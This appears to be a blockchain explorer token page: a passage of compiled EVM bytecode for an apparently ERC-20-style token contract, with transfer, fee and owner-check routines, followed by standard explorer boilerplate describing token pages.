ffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906115bf565b60405180910390fd5b80600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a3907d716040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610f3457600080fd5b505af1158015610f48573d6000803e3d6000fd5b5050505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fa0919061160e565b92505081905550600061271060065484610fba919061173a565b610fc491906117ab565b905080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110159190611642565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110799190611397565b60405180910390a36000818461108f919061160e565b905080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110e09190611642565b9250508190555060006127106007546000546110fc919061173a565b61110691906117ab565b9050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481101561115457600080fd5b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111b19190611397565b60405180910390a3600193505050509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156112015780820151818401526020810190506111e6565b60008484015250505050565b6000601f19601f8301169050919050565b6000611229826111c7565b61123381856111d2565b93506112438185602086016111e3565b61124c8161120d565b840191505092915050565b60006020820190508181036000830152611271818461121e565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112a98261127e565b9050919050565b6112b98161129e565b81146112c457600080fd5b50565b6000813590506112d6816112b0565b92915050565b6000819050919050565b6112ef816112dc565b81146112fa57600080fd5b50565b60008135905061130c816112e6565b92915050565b6000806040838503121561132957611328611279565b5b6000611337858286016112c7565b9250506020611348858286016112fd565b9150509250929050565b60008115159050919050565b61136781611352565b82525050565b6000602082019050611382600083018461135e565b92915050565b611391816112dc565b82525050565b60006020820190506113ac6000830184611388565b92915050565b600080604083850312156113c9576113c8611279565b5b60006113d7858286016112fd565b92505060206113e8858286016112fd565b9150509250929050565b60008060006060848603121561140b5761140a611279565b5b6000611419868287016112c7565b935050602061142a868287016112c7565b925050604061143b868287016112fd565b9150509250925092565b600060ff82169050919050565b61145b81611445565b82525050565b60006020820190506114766000830184611452565b92915050565b60006020828403121561149257611491611279565b5b60006114a0848285016112c7565b91505092915050565b6114b28161129e565b82525050565b60006020820190506114cd60008301846114a9565b92915050565b600080604083850312156114ea576114e9611279565b5b60006114f8858286016112c7565b9250506020611509858286016112c7565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061155a57607f821691505b60208210810361156d5761156c611513565b5b50919050565b7f4e6f74206f776e65720000000000000000000000000000000000000000000000600082015250565b60006115a96009836111d2565b91506115b482611573565b602082019050919050565b600060208201905081810360008301526115d88161159c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611619826112dc565b9150611624836112dc565b925082820390508181111561163c5761163b6115df565b5b92915050565b600061164d826112dc565b9150611658836112dc565b92508282019050808211156116705761166f6115df565b5b92915050565b600081519050611685816112e6565b92915050565b6000602082840312156116a1576116a0611279565b5b60006116af84828501611676565b91505092915050565b60006040820190506116cd60008301856114a9565b6116da6020830184611388565b9392505050565b6116ea81611352565b81146116f557600080fd5b50565b600081519050611707816116e1565b92915050565b60006020828403121561172357611722611279565b5b6000611731848285016116f8565b91505092915050565b6000611745826112dc565b9150611750836112dc565b925082820261175e816112dc565b91508282048414831517611775576117746115df565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006117b6826112dc565b91506117c1836112dc565b9250826117d1576117d061177c565b5b82820490509291505056fea26469706673582212203f7e17ab167c6374145c4e08abbc2242cb8c8539b065fb412f8a735b1090f12664736f6c63430008180033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.